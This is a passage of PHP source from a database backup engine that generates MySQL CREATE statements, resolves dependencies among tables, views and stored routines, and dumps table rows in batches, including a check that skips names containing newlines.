				$regex     = "#(CONSTRAINT|KEY|INDEX)\s{1,}`{$this->prefix}#i";
				$table_sql = preg_replace($regex, '$1 `#__', $table_sql);
			}

			// Is it a VIEW but we don't have SHOW VIEW privileges?
			if (empty($table_sql))
			{
				$type = 'view';
			}
		}

		/**
		 * Replace table name and names of referenced tables with their abstracted forms and populate dependency tables
		 * at the same time.
		 */
		// On DB only backup we don't want any replacing to take place, do we?
		if (!Factory::getEngineParamsProvider()->getScriptingParameter('db.abstractnames', 1))
		{
			$old_table_sql = $table_sql;
		}

		/**
		 * Replace the table names in the CREATE command with the abstract versions.
		 *
		 * Moreover, it updates the dependency tracking information.
		 *
		 * We have to quote the table name. If we don't we'll get wrong results. Imagine that you have a column whose
		 * name starts with the string literal of the table name itself.
		 *
		 * Example: table `poll`, column `poll_id` would become #__poll, #__poll_id
		 *
		 * By quoting before we make sure this won't happen.
		 */
		[$dependencies, $table_sql] = $this->replaceTableNamesWithAbstracts($table_name, $table_sql, !$notracking);

		// On DB only backup we don't want any replacing to take place, do we?
		if (!Factory::getEngineParamsProvider()->getScriptingParameter('db.abstractnames', 1))
		{
			$table_sql = $old_table_sql;
		}

		// Add final semicolon and newline character
		$table_sql .= ";\n";

		/**
		 * Views, procedures, functions and triggers may contain the database name followed by the table name, always
		 * quoted e.g. `db`.`table_name`  We need to replace all these instances with just the table name. The only
		 * reliable way to do that is to look for "`db`.`" and replace it with "`"
		 */
		if (in_array($type, ['view', 'procedure', 'function', 'trigger']))
		{
			$dbName      = $db->qn($this->getDatabaseName());
			$dummyQuote  = $db->qn('foo');
			$findWhat    = $dbName . '.' . substr($dummyQuote, 0, 1);
			$replaceWith = substr($dummyQuote, 0, 1);
			$table_sql   = str_replace($findWhat, $replaceWith, $table_sql);
		}

		// Post-process CREATE VIEW
		if ($type == 'view')
		{
			$pos_view = strpos($table_sql, ' VIEW ');

			if ($pos_view > 7)
			{
				// Only post process if there are view properties between the CREATE and VIEW keywords
				$propstring = substr($table_sql, 7, $pos_view - 7); // Properties string
				// Fetch the ALGORITHM={UNDEFINED | MERGE | TEMPTABLE} keyword
				$algostring = '';
				$algo_start = strpos($propstring, 'ALGORITHM=');

				if ($algo_start !== false)
				{
					$algo_end   = strpos($propstring, ' ', $algo_start);
					$algostring = substr($propstring, $algo_start, $algo_end - $algo_start + 1);
				}

				// Create our modified create statement
				$table_sql = 'CREATE OR REPLACE ' . $algostring . substr($table_sql, $pos_view);
			}
		}
		elseif ($type == 'procedure')
		{
			$pos_entity = stripos($table_sql, ' PROCEDURE ');

			if ($pos_entity !== false)
			{
				$table_sql = 'CREATE' . substr($table_sql, $pos_entity);
			}
		}
		elseif ($type == 'function')
		{
			$pos_entity = stripos($table_sql, ' FUNCTION ');

			if ($pos_entity !== false)
			{
				$table_sql = 'CREATE' . substr($table_sql, $pos_entity);
			}
		}
		elseif ($type == 'trigger')
		{
			$pos_entity = stripos($table_sql, ' TRIGGER ');

			if ($pos_entity !== false)
			{
				$table_sql = 'CREATE' . substr($table_sql, $pos_entity);
			}
		}

		return $table_sql;
	}

	/**
	 * Populates the _tables array with the metadata of each table and generates
	 * dependency information for views and merge tables. Updates $this->tables_data.
	 *
	 * @return  void
	 */
	protected function get_tables_data()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Starting CREATE TABLE and dependency scanning");

		// Get a database connection
		$db = $this->getDB();

		Factory::getLog()->debug(__CLASS__ . " :: Got database connection");

		// Reset internal tables
		$this->tables_data  = [];
		$this->dependencies = [];

		// Get a list of tables where their engine type is shown
		$sql = 'SHOW TABLES';
		$db->setQuery($sql);
		$metadata_list = $db->loadRowList();

		Factory::getLog()->debug(__CLASS__ . " :: Got SHOW TABLES");

		// Get filters and filter root
		$registry = Factory::getConfiguration();
		$root     = $registry->get('volatile.database.root', '[SITEDB]');
		$filters  = Factory::getFilters();

		foreach ($metadata_list as $table_metadata)
		{
			// Skip over tables not included in the backup set
			if (!array_key_exists($table_metadata[0], $this->table_name_map))
			{
				continue;
			}

			// Basic information
			$table_name     = $table_metadata[0];
			$table_abstract = $this->table_name_map[$table_metadata[0]];
			$new_entry      = [
				'type'         => 'table',
				'dump_records' => true,
			];

			// Get the CREATE command
			$dependencies              = [];
			$new_entry['create']       = $this->get_create($table_abstract, $table_name, $new_entry['type'], $dependencies);

			if ($new_entry['create'] === null)
			{
				continue;
			}

			$new_entry['dependencies'] = $dependencies;

			if ($new_entry['type'] == 'view')
			{
				$new_entry['dump_records'] = false;
			}
			else
			{
				$new_entry['dump_records'] = true;
			}

			// Scan for the table engine.
			$engine = null; // So that we detect VIEWs correctly

			if ($new_entry['type'] == 'table')
			{
				$engine      = 'MyISAM'; // So that even with MySQL 4 hosts we don't screw this up
				$engine_keys = ['ENGINE=', 'TYPE='];

				foreach ($engine_keys as $engine_key)
				{
					$start_pos = strrpos($new_entry['create'], $engine_key);

					if ($start_pos !== false)
					{
						// Advance the start position just after the position of the ENGINE keyword
						$start_pos += strlen($engine_key);
						// Try to locate the space after the engine type
						$end_pos = stripos($new_entry['create'], ' ', $start_pos);

						if ($end_pos === false)
						{
							// Uh... maybe it ends with ENGINE=EngineType;
							$end_pos = stripos($new_entry['create'], ';', $start_pos);
						}

						if ($end_pos !== false)
						{
							// Grab the string
							$engine = substr($new_entry['create'], $start_pos, $end_pos - $start_pos);

							if (empty($engine))
							{
								Factory::getLog()->debug("*** DEBUG *** $table_name - engine $engine");
								Factory::getLog()->debug($new_entry['create']);
								Factory::getLog()->debug("start $start_pos - end $end_pos");
							}
						}
					}
				}

				$engine = strtoupper($engine);
			}

			switch ($engine)
			{
				/*
				// Views -- They are detected based on their CREATE statement
				case null:
					$new_entry['type'] = 'view';
					$new_entry['dump_records'] = false;
					break;
				*/

				// Merge tables
				case 'MRG_MYISAM':
					$new_entry['type']         = 'merge';
					$new_entry['dump_records'] = false;

					break;

				// Tables whose data we do not back up (memory, federated and can-have-no-data tables)
				case 'MEMORY':
				case 'EXAMPLE':
				case 'BLACKHOLE':
				case 'FEDERATED':
					$new_entry['dump_records'] = false;

					break;

				// Normal tables and VIEWs
				default:
					break;
			}

			// Table Data Filter - skip dumping table contents of filtered out tables
			if ($filters->isFiltered($table_abstract, $root, 'dbobject', 'content'))
			{
				$new_entry['dump_records'] = false;
			}

			$this->tables_data[$table_name] = $new_entry;
		}

		Factory::getLog()->debug(__CLASS__ . " :: Got table list");

		// If we have MySQL > 5.0 add stored procedures, stored functions and triggers
		$enable_entities = $registry->get('engine.dump.native.advanced_entitites', true);

		if ($enable_entities)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Listing MySQL entities");
			// Get a list of procedures
			$sql = 'SHOW PROCEDURE STATUS WHERE `Db`=' . $db->quote($this->database);
			$db->setQuery($sql);

			try
			{
				$metadata_list = $db->loadRowList();
			}
			catch (Exception $e)
			{
				$metadata_list = null;
			}

			if (is_array($metadata_list))
			{
				if (count($metadata_list))
				{
					foreach ($metadata_list as $entity_metadata)
					{
						// Skip over entities not included in the backup set
						if (!array_key_exists($entity_metadata[1], $this->table_name_map))
						{
							continue;
						}

						// Basic information
						$entity_name     = $entity_metadata[1];
						$entity_abstract = $this->table_name_map[$entity_metadata[1]];
						$new_entry       = [
							'type'         => 'procedure',
							'dump_records' => false,
						];

						// There's no point trying to add a non-procedure entity
						if ($entity_metadata[2] != 'PROCEDURE')
						{
							continue;
						}

						$dependencies                    = [];
						$new_entry['create']             = $this->get_create($entity_abstract, $entity_name, $new_entry['type'], $dependencies);

						if ($new_entry['create'] === null)
						{
							continue;
						}

						$new_entry['dependencies']       = $dependencies;
						$this->tables_data[$entity_name] = $new_entry;
					}
				}
			} // foreach

			// Get a list of functions
			$sql = 'SHOW FUNCTION STATUS WHERE `Db`=' . $db->quote($this->database);
			$db->setQuery($sql);

			try
			{
				$metadata_list = $db->loadRowList();
			}
			catch (Exception $e)
			{
				$metadata_list = null;
			}

			if (is_array($metadata_list))
			{
				if (count($metadata_list))
				{
					foreach ($metadata_list as $entity_metadata)
					{
						// Skip over entities not included in the backup set
						if (!array_key_exists($entity_metadata[1], $this->table_name_map))
						{
							continue;
						}

						// Basic information
						$entity_name     = $entity_metadata[1];
						$entity_abstract = $this->table_name_map[$entity_metadata[1]];
						$new_entry       = [
							'type'         => 'function',
							'dump_records' => false,
						];

						// There's no point trying to add a non-function entity
						if ($entity_metadata[2] != 'FUNCTION')
						{
							continue;
						}

						$dependencies                    = [];
						$new_entry['create']             = $this->get_create($entity_abstract, $entity_name, $new_entry['type'], $dependencies);

						if ($new_entry['create'] === null)
						{
							continue;
						}

						$new_entry['dependencies']       = $dependencies;
						$this->tables_data[$entity_name] = $new_entry;
					}
				}
			} // foreach

			// Get a list of triggers
			$sql = 'SHOW TRIGGERS';
			$db->setQuery($sql);

			try
			{
				$metadata_list = $db->loadRowList();
			}
			catch (Exception $e)
			{
				$metadata_list = null;
			}

			if (is_array($metadata_list))
			{
				if (count($metadata_list))
				{
					foreach ($metadata_list as $entity_metadata)
					{
						// Skip over entities not included in the backup set
						if (!array_key_exists($entity_metadata[0], $this->table_name_map))
						{
							continue;
						}

						// Basic information
						$entity_name     = $entity_metadata[0];
						$entity_abstract = $this->table_name_map[$entity_metadata[0]];
						$new_entry       = [
							'type'         => 'trigger',
							'dump_records' => false,
						];

						$dependencies                    = [];
						$new_entry['create']             = $this->get_create($entity_abstract, $entity_name, $new_entry['type'], $dependencies);

						if ($new_entry['create'] === null)
						{
							continue;
						}

						$new_entry['dependencies']       = $dependencies;
						$this->tables_data[$entity_name] = $new_entry;
					}
				}
			} // foreach

			Factory::getLog()->debug(__CLASS__ . " :: Got MySQL entities list");
		}

		/**
		 * // Only store unique values
		 * if(count($dependencies) > 0)
		 * $dependencies = array_unique($dependencies);
		 * /**/
	}

	/**
	 * Populates the _tables array with the metadata of each table.
	 * Updates $this->tables_data and $this->tables.
	 *
	 * @return  void
	 */
	protected function get_tables_data_without_dependencies()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Pushing table data (without dependency tracking)");

		// Reset internal tables
		$this->tables_data  = [];
		$this->dependencies = [];

		// Get filters and filter root
		$registry = Factory::getConfiguration();
		$root     = $registry->get('volatile.database.root', '[SITEDB]');
		$filters  = Factory::getFilters();

		foreach ($this->table_name_map as $table_name => $table_abstract)
		{
			$new_entry = [
				'type'         => 'table',
				'dump_records' => true,
			];

			// Table Data Filter - skip dumping table contents of filtered out tables
			if ($filters->isFiltered($table_abstract, $root, 'dbobject', 'content'))
			{
				$new_entry['dump_records'] = false;
			}

			$this->tables_data[$table_name] = $new_entry;
			$this->tables[]                 = $table_name;
		} // foreach

		Factory::getLog()->debug(__CLASS__ . " :: Got table list");
	}

	/**
	 * Generates a mapping between table names as they're stored in the database
	 * and their abstract representation. Updates $this->table_name_map
	 *
	 * @return  void
	 */
	protected function get_tables_mapping()
	{
		// Get a database connection
		Factory::getLog()->debug(__CLASS__ . " :: Finding tables to include in the backup set");
		$db = $this->getDB();

		// Reset internal tables
		$this->table_name_map = [];

		// Get the list of all database tables
		$sql = "SHOW TABLES";
		$db->setQuery($sql);
		$all_tables = $db->loadResultArray();

		$registry = Factory::getConfiguration();
		$root     = $registry->get('volatile.database.root', '[SITEDB]');

		// If we have filters, make sure the tables pass the filtering
		$filters = Factory::getFilters();

		foreach ($all_tables as $table_name)
		{
			if (substr($table_name, 0, 3) == '#__')
			{
				Factory::getLog()->warning(__CLASS__ . " :: Table $table_name has a prefix of #__. This would cause restoration errors; table skipped.");

				continue;
			}

			if ((strpos($table_name, "\r") !== false) || (strpos($table_name, "\n") !== false))
			{
				$table_name = str_replace(["\r", "\n"], ['\\r', '\\n'], $table_name);
				Factory::getLog()->warning(__CLASS__ . " :: [SECURITY] Table $table_name includes newline characters. Skipping table to protect you against possible MySQL vulnerability CVE-2017-3600 (“Bad Dump”).");

				continue;
			}

			$table_abstract = $this->getAbstract($table_name);

			if (substr($table_abstract, 0, 4) != 'bak_') // Skip backup tables
			{
				// Apply exclusion filters
				if (!$filters->isFiltered($table_abstract, $root, 'dbobject', 'all'))
				{
					Factory::getLog()->info(__CLASS__ . " :: Adding $table_name (internal name $table_abstract)");
					$this->table_name_map[$table_name] = $table_abstract;
				}
				else
				{
					Factory::getLog()->info(__CLASS__ . " :: Skipping $table_name (internal name $table_abstract)");
				}
			}
			else
			{
				Factory::getLog()->info(__CLASS__ . " :: Backup table $table_name automatically skipped.");
			}
		}

		// If we have MySQL > 5.0 add the list of stored procedures, stored functions
		// and triggers, but only if user has allows that and the target compatibility is
		// not MySQL 4! Also, if dependency tracking is disabled, we won't dump triggers,
		// functions and procedures.
		$enable_entities = $registry->get('engine.dump.native.advanced_entitites', true);
		$notracking      = $registry->get('engine.dump.native.nodependencies', 0);

		if (!$enable_entities)
		{
			Factory::getLog()->debug(__CLASS__ . " :: NOT listing stored PROCEDUREs, FUNCTIONs and TRIGGERs (you told me not to)");
		}
		elseif ($notracking != 0)
		{
			Factory::getLog()->debug(__CLASS__ . " :: NOT listing stored PROCEDUREs, FUNCTIONs and TRIGGERs (you have disabled dependency tracking, therefore I can't handle advanced entities)");
		}

		if ($enable_entities && ($notracking == 0))
		{
			// Cache the database name if this is the main site's database

			// 1. Stored procedures
			Factory::getLog()->debug(__CLASS__ . " :: Listing stored PROCEDUREs");
			$sql = "SHOW PROCEDURE STATUS WHERE `Db`=" . $db->quote($this->database);
			$db->setQuery($sql);

			try
			{
				$all_entries = $db->loadResultArray(1);
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			// If we have filters, make sure the tables pass the filtering
			if (is_array($all_entries))
			{
				if (count($all_entries))
				{
					foreach ($all_entries as $entity_name)
					{
						if ((strpos($entity_name, "\r") !== false) || (strpos($entity_name, "\n") !== false))
						{
							$entity_name = str_replace(["\r", "\n"], ['\\r', '\\n'], $entity_name);
							Factory::getLog()->warning(__CLASS__ . " :: [SECURITY] Procedure $entity_name includes newline characters. Skipping table to protect you against possible MySQL vulnerability CVE-2017-3600 (“Bad Dump”).");

							continue;
						}

						$entity_abstract = $this->getAbstract($entity_name);

						if (!(substr($entity_abstract, 0, 4) == 'bak_')) // Skip backup entities
						{
							if (!$filters->isFiltered($entity_abstract, $root, 'dbobject', 'all'))
							{
								$this->table_name_map[$entity_name] = $entity_abstract;
							}
						}
					}
				}
			}

			// 2. Stored functions
			Factory::getLog()->debug(__CLASS__ . " :: Listing stored FUNCTIONs");
			$sql = "SHOW FUNCTION STATUS WHERE `Db`=" . $db->quote($this->database);
			$db->setQuery($sql);

			try
			{
				$all_entries = $db->loadResultArray(1);
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			// If we have filters, make sure the tables pass the filtering
			if (is_array($all_entries))
			{
				if (count($all_entries))
				{
					foreach ($all_entries as $entity_name)
					{
						if ((strpos($entity_name, "\r") !== false) || (strpos($entity_name, "\n") !== false))
						{
							$entity_name = str_replace(["\r", "\n"], ['\\r', '\\n'], $entity_name);
							Factory::getLog()->warning(__CLASS__ . " :: [SECURITY] Function $entity_name includes newline characters. Skipping table to protect you against possible MySQL vulnerability CVE-2017-3600 (“Bad Dump”).");

							continue;
						}

						$entity_abstract = $this->getAbstract($entity_name);

						if (!(substr($entity_abstract, 0, 4) == 'bak_')) // Skip backup entities
						{
							// Apply exclusion filters if set
							if (!$filters->isFiltered($entity_abstract, $root, 'dbobject', 'all'))
							{
								$this->table_name_map[$entity_name] = $entity_abstract;
							}
						}
					}
				}
			}

			// 3. Triggers
			Factory::getLog()->debug(__CLASS__ . " :: Listing stored TRIGGERs");
			$sql = "SHOW TRIGGERS";
			$db->setQuery($sql);

			try
			{
				$all_entries = $db->loadResultArray();
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			// If we have filters, make sure the tables pass the filtering
			if (is_array($all_entries))
			{
				if (count($all_entries))
				{
					foreach ($all_entries as $entity_name)
					{
						if ((strpos($entity_name, "\r") !== false) || (strpos($entity_name, "\n") !== false))
						{
							$entity_name = str_replace(["\r", "\n"], ['\\r', '\\n'], $entity_name);
							Factory::getLog()->warning(__CLASS__ . " :: [SECURITY] Trigger $entity_name includes newline characters. Skipping table to protect you against possible MySQL vulnerability CVE-2017-3600 (“Bad Dump”).");

							continue;
						}

						$entity_abstract = $this->getAbstract($entity_name);

						if (!(substr($entity_abstract, 0, 4) == 'bak_')) // Skip backup entities
						{
							// Apply exclusion filters if set
							if (!$filters->isFiltered($entity_abstract, $root, 'dbobject', 'all'))
							{
								$this->table_name_map[$entity_name] = $entity_abstract;
							}
						}
					}
				}
			}
		} // if MySQL 5

		/**
		 * Store all abstract entity names (tables, views, triggers etc etc ) into a volatile variable, so we can fetch
		 * it later when creating the databases.json file
		 */
		ksort($this->table_name_map);
		$registry->set('volatile.database.table_names', array_values($this->table_name_map));

		/**
		 * IMPORTANT -- DO NOT REMOVE
		 *
		 * We now need to reverse sort the table_name_map. This is of paramount importance in how the
		 * replaceTableNamesWithAbstracts method works. Consider the following case:
		 * foo_test_2 => #__test_2
		 * foo_test_20 => #__test_20
		 * If foo_test_2 comes before foo_test_2 (alpha sort) the CREATE command of foo_test_20 will end up as
		 * CREATE TABLE ``#__test_2`0` (...)
		 * instead of the correct
		 * CREATE TABLE `#__test_20` (...)
		 * That's because the first table replacement done there will be foo_test_2 => `#__test_2`. Ouch.
		 *
		 * By doing a reverse alpha sort on the keys we ENSURE that the longer table names which may be a superset of
		 * another table's name will always end up first on the list.
		 *
		 * In our example the first replacement made is foo_test_20 => `#__test_20`. When we reach the next possible
		 * replacement (foo_test_2) we no longer have the concrete table name foo_test_2 therefore we won't accidentally
		 * break the CREATE command.
		 *
		 * Of course the same replacement problem exists within VIEWs, TRIGGERs, PROCEDUREs and FUNCTIONs. Again, the
		 * reverse alpha sort by concrete table name solves this issue elegantly.
		 */
		krsort($this->table_name_map);
	}

	/**
	 * Process all table dependencies
	 *
	 * @return  void
	 */
	protected function process_dependencies()
	{
		if ((is_array($this->table_name_map) || $this->table_name_map instanceof \Countable ? count($this->table_name_map) : 0) > 0)
		{
			foreach ($this->table_name_map as $table_name => $table_abstract)
			{
				$this->push_table($table_name);
			}
		}

		Factory::getLog()->debug(__CLASS__ . " :: Processed dependencies");
	}

	/**
	 * Pushes a table in the _tables stack, making sure it will appear after
	 * its dependencies and other tables/views depending on it will eventually
	 * appear after it. It's a complicated chicken-and-egg problem. Just make
	 * sure you don't have any bloody circular references!!
	 *
	 * @param   string  $table_name  Canonical name of the table to push
	 * @param   array   $stack       When called recursive, other views/tables previously processed in order to detect
	 *                               *ahem* dependency loops...
	 *
	 * @return  void
	 */
	protected function push_table($table_name, $stack = [], $currentRecursionDepth = 0)
	{
		if (!isset($this->tables_data[$table_name]))
		{
			return;
		}

		// Load information
		$table_data = $this->tables_data[$table_name];

		if (array_key_exists('dependencies', $table_data))
		{
			$referenced = $table_data['dependencies'];
		}
		else
		{
			$referenced = [];
		}

		unset($table_data);

		// Try to find the minimum insert position, so as to appear after the last referenced table
		$insertpos = false;

		if (is_array($referenced) || $referenced instanceof \Countable ? count($referenced) : 0)
		{
			foreach ($referenced as $referenced_table)
			{
				if (is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0)
				{
					$newpos = array_search($referenced_table, $this->tables);

					if ($newpos !== false)
					{
						if ($insertpos === false)
						{
							$insertpos = $newpos;
						}
						else
						{
							$insertpos = max($insertpos, $newpos);
						}
					}
				}
			}
		}

		// Add to the _tables array
		if ((is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0) && ($insertpos !== false))
		{
			array_splice($this->tables, $insertpos + 1, 0, $table_name);
		}
		else
		{
			$this->tables[] = $table_name;
		}

		// Here's what... Some other table/view might depend on us, so we must appear
		// before it (actually, it must appear after us). So, we scan for such
		// tables/views and relocate them
		if (is_array($this->dependencies) || $this->dependencies instanceof \Countable ? count($this->dependencies) : 0)
		{
			if (array_key_exists($table_name, $this->dependencies))
			{
				foreach ($this->dependencies[$table_name] as $depended_table)
				{
					// First, make sure that either there is no stack, or the
					// depended table doesn't belong it. In any other case, we
					// were fooled to follow an endless dependency loop and we
					// will simply bail out and let the user sort things out.
					if (count($stack) > 0)
					{
						if (in_array($depended_table, $stack))
						{
							continue;
						}
					}

					$my_position     = array_search($table_name, $this->tables);
					$remove_position = array_search($depended_table, $this->tables);

					if (($remove_position !== false) && ($remove_position < $my_position))
					{
						$stack[] = $table_name;
						array_splice($this->tables, $remove_position, 1);

						// Where should I put the other table/view now? Don't tell me.
						// I have to recurse...
						if ($currentRecursionDepth < 19)
						{
							$this->push_table($depended_table, $stack, ++$currentRecursionDepth);
						}
						else
						{
							// We're hitting a circular dependency. We'll add the removed $depended_table
							// in the penultimate position of the table and cross our virtual fingers...
							array_splice($this->tables, (is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0) - 1, 0, $depended_table);
						}
					}
				}
			}
		}
	}

	/**
	 * Try to find an auto_increment field for the table being currently backed up and populate the
	 * $this->table_autoincrement table. Updates $this->table_autoincrement.
	 *
	 * @return  void
	 */
	protected function setAutoIncrementInfo()
	{
		$this->table_autoincrement = [
			'table' => $this->nextTable,
			'field' => null,
			'value' => null,
		];

		$db = $this->getDB();

		$query   = 'SHOW COLUMNS FROM ' . $db->qn($this->nextTable) . ' WHERE ' . $db->qn('Extra') . ' = ' .
			$db->q('auto_increment') . ' AND ' . $db->qn('Null') . ' = ' . $db->q('NO');
		$keyInfo = $db->setQuery($query)->loadAssocList();

		if (!empty($keyInfo))
		{
			$row                                = array_shift($keyInfo);
			$this->table_autoincrement['field'] = $row['Field'];
		}
	}

	/**
	 * Performs one more step of dumping database data
	 *
	 * @return  void
	 *
	 * @throws QueryException
	 * @throws Exception
	 */
	protected function stepDatabaseDump(): void
	{
		// Initialize local variables
		$db = $this->getDB();

		if (!is_object($db) || ($db === false))
		{
			throw new RuntimeException(__CLASS__ . '::_run() Could not connect to database?!');
		}

		$outData = ''; // Used for outputting INSERT INTO commands

		$this->enforceSQLCompatibility(); // Apply MySQL compatibility option

		// Touch SQL dump file
		$nada = "";
		$this->writeline($nada);

		// Get this table's information
		$tableName = $this->nextTable;
		$this->setStep($tableName);
		$this->setSubstep('');
		$tableAbstract = trim($this->table_name_map[$tableName]);
		$dump_records  = $this->tables_data[$tableName]['dump_records'];

		// Restore any previously information about the largest query we had to run
		$this->largest_query = Factory::getConfiguration()->get('volatile.database.largest_query', 0);

		// If it is the first run, find number of rows and get the CREATE TABLE command
		if ($this->nextRange == 0)
		{
			$outCreate = '';

			if (is_array($this->tables_data[$tableName]))
			{
				if (array_key_exists('create', $this->tables_data[$tableName]))
				{
					$outCreate = $this->tables_data[$tableName]['create'];
				}
			}

			if (empty($outCreate) && !empty($tableName))
			{
				// The CREATE command wasn't cached. Time to create it. The $type and $dependencies
				// variables will be thrown away.
				$type         = $this->tables_data[$tableName]['type'] ?? 'table';
				$dependencies = [];
				$outCreate    = $this->get_create($tableAbstract, $tableName, $type, $dependencies);
			}

			// Create drop statements if required (the key is defined by the scripting engine)
			if (!empty($outCreate) && Factory::getEngineParamsProvider()->getScriptingParameter('db.dropstatements', 0))
			{
				if (array_key_exists('create', $this->tables_data[$tableName]))
				{
					$dropStatement = $this->createDrop($this->tables_data[$tableName]['create']);
				}
				else
				{
					$type            = 'table';
					$createStatement = $this->get_create($tableAbstract, $tableName, $type, $dependencies);
					$dropStatement   = $this->createDrop($createStatement);
				}

				if (!empty($dropStatement))
				{
					$dropStatement .= "\n";

					if (!$this->writeDump($dropStatement, true))
					{
						return;
					}
				}
			}

			/**
			 * If we have a PROCEDURE, FUNCTION or TRIGGER and we are doing a SQL export meant to be run directly by
			 * MySQL (the scripting db.delimiterstatements flag is set to 1) we need to surround the CREATE statement
			 * with DELIMITER $$ commands.
			 */
			if (
				!empty($outCreate) &&
				(Factory::getEngineParamsProvider()->getScriptingParameter('db.delimiterstatements', 0) == 1)
				&& in_array($this->tables_data[$tableName]['type'], ['trigger', 'function', 'procedure'])
			)
			{
				$outCreate = rtrim($outCreate, ";\n");
				$outCreate = "DELIMITER $$\n$outCreate$$\nDELIMITER ;\n";
			}

			// Write the CREATE command after any DROP command which might be necessary.
			if (!empty($outCreate) && !$this->writeDump($outCreate, true))
			{
				return;
			}

			if (!empty($outCreate) && $dump_records)
			{
				// We are dumping data from a table, get the row count
				$this->getRowCount($tableAbstract);

				// If we can't get the row count we cannot back up this table's data
				if (is_null($this->maxRange))
				{
					$dump_records = false;
				}
			}
			elseif (!$dump_records)
			{
				/**
				 * Do NOT move this line to the if-block below. We need to only log this message on tables which are
				 * filtered, not on tables we simply cannot get the row count information for!
				 */
				Factory::getLog()->info("Skipping dumping data of " . $tableAbstract);
			}

			// The table is either filtered or we cannot get the row count. Either way we should not dump any data.
			if (!$dump_records || empty($outCreate))
			{
				$this->maxRange  = 0;
				$this->nextRange = 1;
				$outData         = '';
				$numRows         = 0;
				$dump_records    = false;
			}

			// Output any data preamble commands, e.g. SET IDENTITY_INSERT for SQL Server
			if ($dump_records && Factory::getEngineParamsProvider()->getScriptingParameter('db.dropstatements', 0))
			{
				Factory::getLog()->debug("Writing data dump preamble for " . $tableAbstract);
				$preamble = $this->getDataDumpPreamble($tableAbstract, $tableName, $this->maxRange);

				if (!empty($preamble))
				{
					if (!$this->writeDump($preamble, true))
					{
						return;
					}
				}
			}

			// Get the table's auto increment information
			if ($dump_records)
			{
				$this->setAutoIncrementInfo();
			}
		}

		// Load the active database root
		$configuration = Factory::getConfiguration();
		$dbRoot        = $configuration->get('volatile.database.root', '[SITEDB]');

		// Get the default and the current (optimal) batch size
		$defaultBatchSize = $this->getDefaultBatchSize();
		$batchSize        = $configuration->get('volatile.database.batchsize', $defaultBatchSize);

		// Check if we have more work to do on this table
		if (($this->nextRange < $this->maxRange))
		{
			$timer = Factory::getTimer();

			// Get the number of rows left to dump from the current table
			$columns         = $this->getSelectColumns($tableAbstract);
			$columnTypes     = $this->getColumnTypes($tableAbstract);
			$columnsForQuery = is_array($columns) ? array_map([$db, 'qn'], $columns) : $columns;
			$sql             = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select($columnsForQuery)
				->from($db->nameQuote($tableAbstract));

			if (!is_null($this->table_autoincrement['field']))
			{
				$sql->order($db->qn($this->table_autoincrement['field']) . ' ASC');
			}

			if ($this->nextRange == 0)
			{
				// Get the optimal batch size for this table and save it to the volatile data
				$batchSize = $this->getOptimalBatchSize($tableAbstract, $defaultBatchSize);
				$configuration->set('volatile.database.batchsize', $batchSize);

				// First run, get a cursor to all records
				$db->setQuery($sql, 0, $batchSize);
				Factory::getLog()->info("Beginning dump of " . $tableAbstract);
				Factory::getLog()->debug("Up to $batchSize records will be read at once.");
			}
			else
			{
				// Subsequent runs, get a cursor to the rest of the records
				$this->setSubstep($this->nextRange . ' / ' . $this->maxRange);

				// If we have an auto_increment value and the table has over $batchsize records use the indexed select instead of a plain limit
				if (!is_null($this->table_autoincrement['field']) && !is_null($this->table_autoincrement['value']))
				{
					Factory::getLog()
						->info("Continuing dump of " . $tableAbstract . " from record #{$this->nextRange} using auto_increment column {$this->table_autoincrement['field']} and value {$this->table_autoincrement['value']}");
					$sql->where($db->qn($this->table_autoincrement['field']) . ' > ' . $db->q($this->table_autoincrement['value']));
					$db->setQuery($sql, 0, $batchSize);
				}
				else
				{
					Factory::getLog()
						->info("Continuing dump of " . $tableAbstract . " from record #{$this->nextRange}");
					$db->setQuery($sql, $this->nextRange, $batchSize);
				}
			}

			$this->query  = '';
			$numRows      = 0;
			$use_abstract = Factory::getEngineParamsProvider()->getScriptingParameter('db.abstractnames', 1);

			$filters            = Factory::getFilters();
			$mustFilterRows     = $filters->hasFilterType('dbobject', 'children');
			$mustFilterContents = $filters->canFilterDatabaseRowContent();

			try
			{
				$cursor = $db->query();
			}
			catch (Exception $exc)
			{
				// Issue a warning about the failure to dump data
				$errno = $exc->getCode();
				$error = $exc->getMessage();
				Factory::getLog()->warning("Failed dumping $tableAbstract from record #{$this->nextRange}. MySQL error $errno: $error");

				// Reset the database driver's state (we will try to dump other tables anyway)
				$db->resetErrors();
				$cursor = null;

				// Mark this table as done since we are unable to dump it.
				$this->nextRange = $this->maxRange;
			}

			$statsTableAbstract = Platform::getInstance()->tableNameStats;

			while (is_array($myRow = $db->fetchAssoc()) && ($numRows < ($this->maxRange - $this->nextRange)))
			{
				if ($this->createNewPartIfRequired() == false)
				{
					/**
					 * When createNewPartIfRequired returns false it means that we have began adding a SQL part to the
					 * backup archive but it hasn't finished. If we don't return here, the code below will keep adding
					 * data to that dump file. Yes, despite being closed. When you call writeDump the file is reopened.
					 * As a result of writing data of length Y, the file that had a size X now has a size of X + Y. This
					 * means that the loop in BaseArchiver which tries to add it to the archive will never see its End
					 * Of File since we are trying to resume the backup from *beyond* the file position that was
					 * recorded as the file size. The archive can detect a file shrinking but not a file growing!
					 * Therefore we hit an infinite loop a.k.a. runaway backup.
					 */
					return;
				}

				$numRows++;
				$numOfFields = is_array($myRow) || $myRow instanceof \Countable ? count($myRow) : 0;

				// On MS SQL Server there's always a RowNumber pseudocolumn added at the end, screwing up the backup (GRRRR!)
				if ($db->getDriverType() == 'mssql')
				{
					$numOfFields--;
				}

				// If row-level filtering is enabled, please run the filtering
				if ($mustFilterRows)
				{
					$isFiltered = $filters->isFiltered(
						[
							'table' => $tableAbstract,
							'row'   => $myRow,
						],
						$dbRoot,
						'dbobject',
						'children'
					);

					if ($isFiltered)
					{
						// Update the auto_increment value to avoid edge cases when the batch size is one
						if (!is_null($this->table_autoincrement['field']) && isset($myRow[$this->table_autoincrement['field']]))
						{
							$this->table_autoincrement['value'] = $myRow[$this->table_autoincrement['field']];
						}

						continue;
